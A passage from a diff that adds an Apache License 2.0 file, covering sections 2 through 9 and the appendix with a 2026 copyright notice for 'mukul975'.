worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding any notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. Please do not remove or change
|
|
186
|
+
the license header comment from a contributed file except when
|
|
187
|
+
necessary.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 mukul975
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|